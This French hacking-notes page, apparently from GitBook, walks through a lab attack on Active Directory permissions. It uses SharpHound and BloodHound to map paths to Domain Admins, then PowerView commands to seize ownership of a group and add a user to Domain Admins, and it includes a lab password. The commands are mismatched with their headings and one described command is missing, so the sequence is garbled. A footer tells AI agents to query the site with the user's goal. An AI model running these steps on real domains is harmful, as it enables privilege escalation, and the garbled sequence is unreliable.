> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).
# Analyse avec BloodHound
Notes de sécurité Active Directory pour l'analyse avec BloodHound, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.
Après avoir généré les objets vulnérables, vous pouvez relancer une collecte SharpHound :
{% code overflow="wrap" %}
```powershell
. ./SharpHound.exe
```
{% endcode %}
SharpHound génère un `.zip` fichier.
Puis lancez BloodHound :
{% code overflow="wrap" %}
```powershell
bloodhound --no-sandbox &
```
{% endcode %}
Ensuite, nous importons le `.zip` fichier dans BloodHound.
Après l’importation, on peut voir :
* de nouveaux utilisateurs ;
* de nouveaux groupes ;
* les nouvelles ACL ;
* les chemins de privilèges ;
* les relations entre les objets.
### Trouver un chemin vers Domain Admin
Dans BloodHound, nous utilisons l’analyse :
{% code overflow="wrap" %}
```bash
Trouver les chemins les plus courts vers les administrateurs de domaine
```
{% endcode %}
Cette requête trouve les chemins les plus courts vers le groupe des administrateurs de domaine.
Dans le laboratoire, BloodHound montre par exemple un groupe :
```bash
IT ADMINS
```
Ce groupe contient plusieurs utilisateurs, tels que :
```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```
Nous pouvons ensuite analyser les relations entre les groupes, par exemple :
```wasm
Project Management -> IT ADMINS -> Domain Admins
```
L’objectif est de comprendre comment une mauvaise configuration des permissions peut conduire à un groupe privilégié.
### Exploitation d’une mauvaise configuration des ACL
> Cette étape n’est effectuée que dans un laboratoire autorisé.
Dans ce scénario, l’utilisateur `monica.cora` dispose d’un chemin exploitable vers le groupe :
```
IT ADMINS
```
Nous allons utiliser nos droits pour prendre le contrôle de ce groupe, puis progresser vers un groupe plus privilégié.
### Connexion avec l’utilisateur monica.cora
Nous nous connectons avec l’utilisateur :
{% code overflow="wrap" %}
```
monica.cora
```
{% endcode %}
Mot de passe utilisé dans le laboratoire :
```
Password123$
```
Nous ouvrons une session PowerShell avec cet utilisateur :
Explication :
* `runas` lance un programme avec un autre utilisateur ;
* `/netonly` utilise ces identifiants uniquement pour l’accès réseau ;
* `powershell` ouvre une nouvelle session PowerShell.
### Chargement de PowerView
Dans la nouvelle session PowerShell :
{% code overflow="wrap" %}
```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```
{% endcode %}
Cela charge PowerView dans `monica.cora`la session de
### Exploitation du droit WriteOwner
Le **WriteOwner** permet de changer le propriétaire d’un objet Active Directory.
Dans ce scénario, `monica.cora` devient le propriétaire du groupe :
```
IT ADMINS
```
Ordre :
{% code overflow="wrap" %}
```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```
{% endcode %}
Après cette étape, le propriétaire de l’objet devient :
```
WHOAMI/monica.cora
```
### Droit WriteMembers ajouté
Être propriétaire d’un objet permet généralement d’en modifier la DACL.
Nous ajoutons donc à `monica.cora` le droit de modifier les membres du `IT ADMINS` groupe.
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```
{% endcode %}
Ce droit permet `monica.cora` d’ajouter des membres au `IT ADMINS` groupe.
### Ajout de monica.cora au groupe IT ADMINS
Nous ajoutons maintenant `monica.cora` au groupe :
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```
{% endcode %}
Pour vérifier :
```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)